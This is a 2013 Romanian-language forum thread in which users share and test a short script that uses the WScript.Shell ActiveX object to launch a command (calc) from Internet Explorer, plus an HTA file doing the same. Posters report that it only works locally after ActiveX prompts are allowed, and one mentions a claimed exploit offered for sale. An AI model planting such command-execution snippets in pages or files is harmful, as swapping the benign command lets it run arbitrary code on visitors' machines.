Nytro Posted May 23, 2013 Report Posted May 23, 2013 Testat - functional pe IE10<script>function run(f){var x=new ActiveXObject("WScript.Shell");x.run(f,0);}run('%comspec% /c calc')</script>Via @brutelogic Quote
Silviu Posted May 23, 2013 Report Posted May 23, 2013 Testat - functional pe IE10<script>function run(f){var x=new ActiveXObject("WScript.Shell");x.run(f,0);}run('%comspec% /c calc')</script>Via @brutelogicAm testat si eu, vai mama lor. Quote
em Posted May 23, 2013 Report Posted May 23, 2013 Pe Windows 8 apare un mesaj jos daca vreau sa rulez sau nu scripturi activex. Quote
1337 Posted May 23, 2013 Report Posted May 23, 2013 Pe Windows 8 apare un mesaj jos daca vreau sa rulez sau nu scripturi activex.Si pe Windows 7. Quote
Nytro Posted May 23, 2013 Author Report Posted May 23, 2013 Apare prompt si nu a mers nici daca am dat "Turn off ActiveX filtering". A mers doar local dupa ce am dat "Allow".Daca te uiti pe la setari pe la IE o sa vezi aproape toate setarile legate de ActiveX pe Disable. Quote
neox Posted May 24, 2013 Report Posted May 24, 2013 (edited) Am testat si eu dar merge numai local In topicul asta tot asa cred ca foloseste local scriptul de aicia MS13-009 Internet Explorer WScript.Shell Remote Code Excution https://rstforums.com/forum/68132-ms13-009-internet-explorer-wscript-shell-remote-code-excution.rstsi vrea sa vinda <html><head> <title>Application Executer</title> <HTA:APPLICATION ID="oMyApp" APPLICATIONNAME="Application Executer" BORDER="no" CAPTION="no" SHOWINTASKBAR="yes" SINGLEINSTANCE="yes" SYSMENU="yes" SCROLL="no" WINDOWSTATE="normal"> <script type="text/javascript" language="javascript"> function RunFile() { WshShell = new ActiveXObject("WScript.Shell"); WshShell.Run("c:/windows/system32/calc.exe", 1, false); } </script></head><body> <input type="button" value="Run calc" onclick="RunFile();"/></body></html> Edited May 24, 2013 by neox Quote
